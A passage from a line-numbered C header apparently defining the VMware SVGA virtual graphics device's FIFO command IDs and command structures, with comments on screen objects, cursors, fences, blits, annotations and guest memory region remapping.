SVGA_FIFO_CAP_SCREEN_OBJECT_2. When this flag is set 964 | * the screen contents will be outputted as all black to the user 965 | * though the base layer contents is preserved. The screen base layer 966 | * can still be read and written to like normal though the no visible 967 | * effect will be seen by the user. When the flag is changed the 968 | * screen will be blanked or redrawn to the current contents as needed 969 | * without any extra commands from the driver. This flag only has an 970 | * effect when the screen is not deactivated. 971 | */ 972 | #define SVGA_SCREEN_BLANKING (1 << 4) 973 | 974 | typedef 975 | struct SVGAScreenObject { 976 | uint32 structSize; // sizeof(SVGAScreenObject) 977 | uint32 id; 978 | uint32 flags; 979 | struct { 980 | uint32 width; 981 | uint32 height; 982 | } size; 983 | struct { 984 | int32 x; 985 | int32 y; 986 | } root; 987 | 988 | /* 989 | * Added and required by SVGA_FIFO_CAP_SCREEN_OBJECT_2, optional 990 | * with SVGA_FIFO_CAP_SCREEN_OBJECT. 991 | */ 992 | SVGAGuestImage backingStore; 993 | uint32 cloneCount; 994 | } SVGAScreenObject; 995 | 996 | 997 | /* 998 | * Commands in the command FIFO: 999 | * 1000 | * Command IDs defined below are used for the traditional 2D FIFO 1001 | * communication (not all commands are available for all versions of the 1002 | * SVGA FIFO protocol). 1003 | * 1004 | * Note the holes in the command ID numbers: These commands have been 1005 | * deprecated, and the old IDs must not be reused. 1006 | * 1007 | * Command IDs from 1000 to 1999 are reserved for use by the SVGA3D 1008 | * protocol. 1009 | * 1010 | * Each command's parameters are described by the comments and 1011 | * structs below. 1012 | */ 1013 | 1014 | typedef enum { 1015 | SVGA_CMD_INVALID_CMD = 0, 1016 | SVGA_CMD_UPDATE = 1, 1017 | SVGA_CMD_RECT_COPY = 3, 1018 | SVGA_CMD_DEFINE_CURSOR = 19, 1019 | SVGA_CMD_DEFINE_ALPHA_CURSOR = 22, 1020 | SVGA_CMD_UPDATE_VERBOSE = 25, 1021 | SVGA_CMD_FRONT_ROP_FILL = 29, 1022 | SVGA_CMD_FENCE = 30, 1023 | SVGA_CMD_ESCAPE = 33, 1024 | SVGA_CMD_DEFINE_SCREEN = 34, 1025 | SVGA_CMD_DESTROY_SCREEN = 35, 1026 | SVGA_CMD_DEFINE_GMRFB = 36, 1027 | SVGA_CMD_BLIT_GMRFB_TO_SCREEN = 37, 1028 | SVGA_CMD_BLIT_SCREEN_TO_GMRFB = 38, 1029 | SVGA_CMD_ANNOTATION_FILL = 39, 1030 | SVGA_CMD_ANNOTATION_COPY = 40, 1031 | SVGA_CMD_DEFINE_GMR2 = 41, 1032 | SVGA_CMD_REMAP_GMR2 = 42, 1033 | SVGA_CMD_MAX 1034 | } SVGAFifoCmdId; 1035 | 1036 | #define SVGA_CMD_MAX_DATASIZE (256 * 1024) 1037 | #define SVGA_CMD_MAX_ARGS 64 1038 | 1039 | 1040 | /* 1041 | * SVGA_CMD_UPDATE -- 1042 | * 1043 | * This is a DMA transfer which copies from the Guest Framebuffer 1044 | * (GFB) at BAR1 + SVGA_REG_FB_OFFSET to any screens which 1045 | * intersect with the provided virtual rectangle. 1046 | * 1047 | * This command does not support using arbitrary guest memory as a 1048 | * data source- it only works with the pre-defined GFB memory. 1049 | * This command also does not support signed virtual coordinates. 1050 | * If you have defined screens (using SVGA_CMD_DEFINE_SCREEN) with 1051 | * negative root x/y coordinates, the negative portion of those 1052 | * screens will not be reachable by this command. 1053 | * 1054 | * This command is not necessary when using framebuffer 1055 | * traces. Traces are automatically enabled if the SVGA FIFO is 1056 | * disabled, and you may explicitly enable/disable traces using 1057 | * SVGA_REG_TRACES. With traces enabled, any write to the GFB will 1058 | * automatically act as if a subsequent SVGA_CMD_UPDATE was issued. 1059 | * 1060 | * Traces and SVGA_CMD_UPDATE are the only supported ways to render 1061 | * pseudocolor screen updates. The newer Screen Object commands 1062 | * only support true color formats. 1063 | * 1064 | * Availability: 1065 | * Always available. 1066 | */ 1067 | 1068 | typedef 1069 | struct { 1070 | uint32 x; 1071 | uint32 y; 1072 | uint32 width; 1073 | uint32 height; 1074 | } SVGAFifoCmdUpdate; 1075 | 1076 | 1077 | /* 1078 | * SVGA_CMD_RECT_COPY -- 1079 | * 1080 | * Perform a rectangular DMA transfer from one area of the GFB to 1081 | * another, and copy the result to any screens which intersect it. 1082 | * 1083 | * Availability: 1084 | * SVGA_CAP_RECT_COPY 1085 | */ 1086 | 1087 | typedef 1088 | struct { 1089 | uint32 srcX; 1090 | uint32 srcY; 1091 | uint32 destX; 1092 | uint32 destY; 1093 | uint32 width; 1094 | uint32 height; 1095 | } SVGAFifoCmdRectCopy; 1096 | 1097 | 1098 | /* 1099 | * SVGA_CMD_DEFINE_CURSOR -- 1100 | * 1101 | * Provide a new cursor image, as an AND/XOR mask. 1102 | * 1103 | * The recommended way to position the cursor overlay is by using 1104 | * the SVGA_FIFO_CURSOR_* registers, supported by the 1105 | * SVGA_FIFO_CAP_CURSOR_BYPASS_3 capability. 1106 | * 1107 | * Availability: 1108 | * SVGA_CAP_CURSOR 1109 | */ 1110 | 1111 | typedef 1112 | struct { 1113 | uint32 id; // Reserved, must be zero. 1114 | uint32 hotspotX; 1115 | uint32 hotspotY; 1116 | uint32 width; 1117 | uint32 height; 1118 | uint32 andMaskDepth; // Value must be 1 or equal to BITS_PER_PIXEL 1119 | uint32 xorMaskDepth; // Value must be 1 or equal to BITS_PER_PIXEL 1120 | /* 1121 | * Followed by scanline data for AND mask, then XOR mask. 1122 | * Each scanline is padded to a 32-bit boundary. 1123 | */ 1124 | } SVGAFifoCmdDefineCursor; 1125 | 1126 | 1127 | /* 1128 | * SVGA_CMD_DEFINE_ALPHA_CURSOR -- 1129 | * 1130 | * Provide a new cursor image, in 32-bit BGRA format. 1131 | * 1132 | * The recommended way to position the cursor overlay is by using 1133 | * the SVGA_FIFO_CURSOR_* registers, supported by the 1134 | * SVGA_FIFO_CAP_CURSOR_BYPASS_3 capability. 1135 | * 1136 | * Availability: 1137 | * SVGA_CAP_ALPHA_CURSOR 1138 | */ 1139 | 1140 | typedef 1141 | struct { 1142 | uint32 id; // Reserved, must be zero. 1143 | uint32 hotspotX; 1144 | uint32 hotspotY; 1145 | uint32 width; 1146 | uint32 height; 1147 | /* Followed by scanline data */ 1148 | } SVGAFifoCmdDefineAlphaCursor; 1149 | 1150 | 1151 | /* 1152 | * SVGA_CMD_UPDATE_VERBOSE -- 1153 | * 1154 | * Just like SVGA_CMD_UPDATE, but also provide a per-rectangle 1155 | * 'reason' value, an opaque cookie which is used by internal 1156 | * debugging tools. Third party drivers should not use this 1157 | * command. 1158 | * 1159 | * Availability: 1160 | * SVGA_CAP_EXTENDED_FIFO 1161 | */ 1162 | 1163 | typedef 1164 | struct { 1165 | uint32 x; 1166 | uint32 y; 1167 | uint32 width; 1168 | uint32 height; 1169 | uint32 reason; 1170 | } SVGAFifoCmdUpdateVerbose; 1171 | 1172 | 1173 | /* 1174 | * SVGA_CMD_FRONT_ROP_FILL -- 1175 | * 1176 | * This is a hint which tells the SVGA device that the driver has 1177 | * just filled a rectangular region of the GFB with a solid 1178 | * color. Instead of reading these pixels from the GFB, the device 1179 | * can assume that they all equal 'color'. This is primarily used 1180 | * for remote desktop protocols. 1181 | * 1182 | * Availability: 1183 | * SVGA_FIFO_CAP_ACCELFRONT 1184 | */ 1185 | 1186 | #define SVGA_ROP_COPY 0x03 1187 | 1188 | typedef 1189 | struct { 1190 | uint32 color; // In the same format as the GFB 1191 | uint32 x; 1192 | uint32 y; 1193 | uint32 width; 1194 | uint32 height; 1195 | uint32 rop; // Must be SVGA_ROP_COPY 1196 | } SVGAFifoCmdFrontRopFill; 1197 | 1198 | 1199 | /* 1200 | * SVGA_CMD_FENCE -- 1201 | * 1202 | * Insert a synchronization fence. When the SVGA device reaches 1203 | * this command, it will copy the 'fence' value into the 1204 | * SVGA_FIFO_FENCE register. It will also compare the fence against 1205 | * SVGA_FIFO_FENCE_GOAL. If the fence matches the goal and the 1206 | * SVGA_IRQFLAG_FENCE_GOAL interrupt is enabled, the device will 1207 | * raise this interrupt. 1208 | * 1209 | * Availability: 1210 | * SVGA_FIFO_FENCE for this command, 1211 | * SVGA_CAP_IRQMASK for SVGA_FIFO_FENCE_GOAL. 1212 | */ 1213 | 1214 | typedef 1215 | struct { 1216 | uint32 fence; 1217 | } SVGAFifoCmdFence; 1218 | 1219 | 1220 | /* 1221 | * SVGA_CMD_ESCAPE -- 1222 | * 1223 | * Send an extended or vendor-specific variable length command. 1224 | * This is used for video overlay, third party plugins, and 1225 | * internal debugging tools. See svga_escape.h 1226 | * 1227 | * Availability: 1228 | * SVGA_FIFO_CAP_ESCAPE 1229 | */ 1230 | 1231 | typedef 1232 | struct { 1233 | uint32 nsid; 1234 | uint32 size; 1235 | /* followed by 'size' bytes of data */ 1236 | } SVGAFifoCmdEscape; 1237 | 1238 | 1239 | /* 1240 | * SVGA_CMD_DEFINE_SCREEN -- 1241 | * 1242 | * Define or redefine an SVGAScreenObject. See the description of 1243 | * SVGAScreenObject above. The video driver is responsible for 1244 | * generating new screen IDs. They should be small positive 1245 | * integers. The virtual device will have an implementation 1246 | * specific upper limit on the number of screen IDs 1247 | * supported. Drivers are responsible for recycling IDs. The first 1248 | * valid ID is zero. 1249 | * 1250 | * - Interaction with other registers: 1251 | * 1252 | * For backwards compatibility, when the GFB mode registers (WIDTH, 1253 | * HEIGHT, PITCHLOCK, BITS_PER_PIXEL) are modified, the SVGA device 1254 | * deletes all screens other than screen #0, and redefines screen 1255 | * #0 according to the specified mode. Drivers that use 1256 | * SVGA_CMD_DEFINE_SCREEN should destroy or redefine screen #0. 1257 | * 1258 | * If you use screen objects, do not use the legacy multi-mon 1259 | * registers (SVGA_REG_NUM_GUEST_DISPLAYS, SVGA_REG_DISPLAY_*). 1260 | * 1261 | * Availability: 1262 | * SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2 1263 | */ 1264 | 1265 | typedef 1266 | struct { 1267 | SVGAScreenObject screen; // Variable-length according to version 1268 | } SVGAFifoCmdDefineScreen; 1269 | 1270 | 1271 | /* 1272 | * SVGA_CMD_DESTROY_SCREEN -- 1273 | * 1274 | * Destroy an SVGAScreenObject. Its ID is immediately available for 1275 | * re-use. 1276 | * 1277 | * Availability: 1278 | * SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2 1279 | */ 1280 | 1281 | typedef 1282 | struct { 1283 | uint32 screenId; 1284 | } SVGAFifoCmdDestroyScreen; 1285 | 1286 | 1287 | /* 1288 | * SVGA_CMD_DEFINE_GMRFB -- 1289 | * 1290 | * This command sets a piece of SVGA device state called the 1291 | * Guest Memory Region Framebuffer, or GMRFB. The GMRFB is a 1292 | * piece of light-weight state which identifies the location and 1293 | * format of an image in guest memory or in BAR1. The GMRFB has 1294 | * an arbitrary size, and it doesn't need to match the geometry 1295 | * of the GFB or any screen object. 1296 | * 1297 | * The GMRFB can be redefined as often as you like. You could 1298 | * always use the same GMRFB, you could redefine it before 1299 | * rendering from a different guest screen, or you could even 1300 | * redefine it before every blit. 1301 | * 1302 | * There are multiple ways to use this command. The simplest way is 1303 | * to use it to move the framebuffer either to elsewhere in the GFB 1304 | * (BAR1) memory region, or to a user-defined GMR. This lets a 1305 | * driver use a framebuffer allocated entirely out of normal system 1306 | * memory, which we encourage. 1307 | * 1308 | * Another way to use this command is to set up a ring buffer of 1309 | * updates in GFB memory. If a driver wants to ensure that no 1310 | * frames are skipped by the SVGA device, it is important that the 1311 | * driver not modify the source data for a blit until the device is 1312 | * done processing the command. One efficient way to accomplish 1313 | * this is to use a ring of small DMA buffers. Each buffer is used 1314 | * for one blit, then we move on to the next buffer in the 1315 | * ring. The FENCE mechanism is used to protect each buffer from 1316 | * re-use until the device is finished with that buffer's 1317 | * corresponding blit. 1318 | * 1319 | * This command does not affect the meaning of SVGA_CMD_UPDATE. 1320 | * UPDATEs always occur from the legacy GFB memory area. This 1321 | * command has no support for pseudocolor GMRFBs. Currently only 1322 | * true-color 15, 16, and 24-bit depths are supported. Future 1323 | * devices may expose capabilities for additional framebuffer 1324 | * formats. 1325 | * 1326 | * The default GMRFB value is undefined. Drivers must always send 1327 | * this command at least once before performing any blit from the 1328 | * GMRFB. 1329 | * 1330 | * Availability: 1331 | * SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2 1332 | */ 1333 | 1334 | typedef 1335 | struct { 1336 | SVGAGuestPtr ptr; 1337 | uint32 bytesPerLine; 1338 | SVGAGMRImageFormat format; 1339 | } SVGAFifoCmdDefineGMRFB; 1340 | 1341 | 1342 | /* 1343 | * SVGA_CMD_BLIT_GMRFB_TO_SCREEN -- 1344 | * 1345 | * This is a guest-to-host blit. It performs a DMA operation to 1346 | * copy a rectangular region of pixels from the current GMRFB to 1347 | * one or more Screen Objects. 1348 | * 1349 | * The destination coordinate may be specified relative to a 1350 | * screen's origin (if a screen ID is specified) or relative to the 1351 | * virtual coordinate system's origin (if the screen ID is 1352 | * SVGA_ID_INVALID). The actual destination may span zero or more 1353 | * screens, in the case of a virtual destination rect or a rect 1354 | * which extends off the edge of the specified screen. 1355 | * 1356 | * This command writes to the screen's "base layer": the underlying 1357 | * framebuffer which exists below any cursor or video overlays. No 1358 | * action is necessary to explicitly hide or update any overlays 1359 | * which exist on top of the updated region. 1360 | * 1361 | * The SVGA device is guaranteed to finish reading from the GMRFB 1362 | * by the time any subsequent FENCE commands are reached. 1363 | * 1364 | * This command consumes an annotation. See the 1365 | * SVGA_CMD_ANNOTATION_* commands for details. 1366 | * 1367 | * Availability: 1368 | * SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2 1369 | */ 1370 | 1371 | typedef 1372 | struct { 1373 | SVGASignedPoint srcOrigin; 1374 | SVGASignedRect destRect; 1375 | uint32 destScreenId; 1376 | } SVGAFifoCmdBlitGMRFBToScreen; 1377 | 1378 | 1379 | /* 1380 | * SVGA_CMD_BLIT_SCREEN_TO_GMRFB -- 1381 | * 1382 | * This is a host-to-guest blit. It performs a DMA operation to 1383 | * copy a rectangular region of pixels from a single Screen Object 1384 | * back to the current GMRFB. 1385 | * 1386 | * Usage note: This command should be used rarely. It will 1387 | * typically be inefficient, but it is necessary for some types of 1388 | * synchronization between 3D (GPU) and 2D (CPU) rendering into 1389 | * overlapping areas of a screen. 1390 | * 1391 | * The source coordinate is specified relative to a screen's 1392 | * origin. The provided screen ID must be valid. If any parameters 1393 | * are invalid, the resulting pixel values are undefined. 1394 | * 1395 | * This command reads the screen's "base layer". Overlays like 1396 | * video and cursor are not included, but any data which was sent 1397 | * using a blit-to-screen primitive will be available, no matter 1398 | * whether the data's original source was the GMRFB or the 3D 1399 | * acceleration hardware. 1400 | * 1401 | * Note that our guest-to-host blits and host-to-guest blits aren't 1402 | * symmetric in their current implementation. While the parameters 1403 | * are identical, host-to-guest blits are a lot less featureful. 1404 | * They do not support clipping: If the source parameters don't 1405 | * fully fit within a screen, the blit fails. They must originate 1406 | * from exactly one screen. Virtual coordinates are not directly 1407 | * supported. 1408 | * 1409 | * Host-to-guest blits do support the same set of GMRFB formats 1410 | * offered by guest-to-host blits. 1411 | * 1412 | * The SVGA device is guaranteed to finish writing to the GMRFB by 1413 | * the time any subsequent FENCE commands are reached. 1414 | * 1415 | * Availability: 1416 | * SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2 1417 | */ 1418 | 1419 | typedef 1420 | struct { 1421 | SVGASignedPoint destOrigin; 1422 | SVGASignedRect srcRect; 1423 | uint32 srcScreenId; 1424 | } SVGAFifoCmdBlitScreenToGMRFB; 1425 | 1426 | 1427 | /* 1428 | * SVGA_CMD_ANNOTATION_FILL -- 1429 | * 1430 | * This is a blit annotation. This command stores a small piece of 1431 | * device state which is consumed by the next blit-to-screen 1432 | * command. The state is only cleared by commands which are 1433 | * specifically documented as consuming an annotation. Other 1434 | * commands (such as ESCAPEs for debugging) may intervene between 1435 | * the annotation and its associated blit. 1436 | * 1437 | * This annotation is a promise about the contents of the next 1438 | * blit: The video driver is guaranteeing that all pixels in that 1439 | * blit will have the same value, specified here as a color in 1440 | * SVGAColorBGRX format. 1441 | * 1442 | * The SVGA device can still render the blit correctly even if it 1443 | * ignores this annotation, but the annotation may allow it to 1444 | * perform the blit more efficiently, for example by ignoring the 1445 | * source data and performing a fill in hardware. 1446 | * 1447 | * This annotation is most important for performance when the 1448 | * user's display is being remoted over a network connection. 1449 | * 1450 | * Availability: 1451 | * SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2 1452 | */ 1453 | 1454 | typedef 1455 | struct { 1456 | SVGAColorBGRX color; 1457 | } SVGAFifoCmdAnnotationFill; 1458 | 1459 | 1460 | /* 1461 | * SVGA_CMD_ANNOTATION_COPY -- 1462 | * 1463 | * This is a blit annotation. See SVGA_CMD_ANNOTATION_FILL for more 1464 | * information about annotations. 1465 | * 1466 | * This annotation is a promise about the contents of the next 1467 | * blit: The video driver is guaranteeing that all pixels in that 1468 | * blit will have the same value as those which already exist at an 1469 | * identically-sized region on the same or a different screen. 1470 | * 1471 | * Note that the source pixels for the COPY in this annotation are 1472 | * sampled before applying the anqnotation's associated blit. They 1473 | * are allowed to overlap with the blit's destination pixels. 1474 | * 1475 | * The copy source rectangle is specified the same way as the blit 1476 | * destination: it can be a rectangle which spans zero or more 1477 | * screens, specified relative to either a screen or to the virtual 1478 | * coordinate system's origin. If the source rectangle includes 1479 | * pixels which are not from exactly one screen, the results are 1480 | * undefined. 1481 | * 1482 | * Availability: 1483 | * SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2 1484 | */ 1485 | 1486 | typedef 1487 | struct { 1488 | SVGASignedPoint srcOrigin; 1489 | uint32 srcScreenId; 1490 | } SVGAFifoCmdAnnotationCopy; 1491 | 1492 | 1493 | /* 1494 | * SVGA_CMD_DEFINE_GMR2 -- 1495 | * 1496 | * Define guest memory region v2. See the description of GMRs above. 1497 | * 1498 | * Availability: 1499 | * SVGA_CAP_GMR2 1500 | */ 1501 | 1502 | typedef 1503 | struct { 1504 | uint32 gmrId; 1505 | uint32 numPages; 1506 | } 1507 | SVGAFifoCmdDefineGMR2; 1508 | 1509 | 1510 | /* 1511 | * SVGA_CMD_REMAP_GMR2 -- 1512 | * 1513 | * Remap guest memory region v2. See the description of GMRs above. 1514 | * 1515 | * This command allows guest to modify a portion of an existing GMR by 1516 | * invalidating it or reassigning it to different guest physical pages. 1517 | * The pages are identified by physical page number (PPN). The pages 1518 | * are assumed to be pinned and valid for DMA operations. 1519 | * 1520 | * Description of command flags: 1521 | * 1522 | * SVGA_REMAP_GMR2_VIA_GMR: If enabled, references a PPN list in a GMR. 1523 | * The PPN list must not overlap with the remap region (this can be 1524 | * handled trivially by referencing a separate GMR). If flag is 1525 | * disabled, PPN list is appended to SVGARemapGMR command. 1526 | * 1527 | * SVGA_REMAP_GMR2_PPN64: If set, PPN list is in PPN64 format, otherwise 1528 | * it is in PPN32 format. 1529 | * 1530 | * SVGA_REMAP_GMR2_SINGLE_PPN: If set, PPN list contains a single entry. 1531 | * A single PPN can be used to invalidate a portion of a GMR or 1532 | * map it to to a single guest scratch page. 1533 | * 1534 | * Availability: 1535 | * SVGA_CAP_GMR2 1536 | */ 1537 | 1538 | typedef enum { 1539 | SVGA_REMAP_GMR2_PPN32 = 0, 1540 | SVGA_REMAP_GMR2_VIA_GMR = (1 << 0), 1541 | SVGA_REMAP_GMR2_PPN64 = (1 << 1), 1542 | SVGA_REMAP_GMR2_SINGLE_PPN = (1 << 2), 1543 | } SVGARemapGMR2Flags; 1544 | 1545 | typedef 1546 | struct { 1547 | uint32 gmrId; 1548 | SVGARemapGMR2Flags flags; 1549 | uint32 offsetPages; // offset in pages to begin remap 1550 | uint32 numPages; // number of pages to remap 1551 | /* 1552 | * Followed by additional data depending on SVGARemapGMR2Flags. 1553 | * 1554 | * If flag SVGA_REMAP_GMR2_VIA_GMR is set, single SVGAGuestPtr follows. 1555 | * Otherwise an array of page descriptors in PPN32 or PPN64 format 1556 | * (according to flag SVGA_REMAP_GMR2_PPN64) follows. If flag 1557 | * SVGA_REMAP_GMR2_SINGLE_PPN is set, array contains a single entry. 1558 | */ 1559 | } 1560 | SVGAFifoCmdRemapGMR2; 1561 | 1562 | #endif 1563 | --------------------------------------------------------------------------------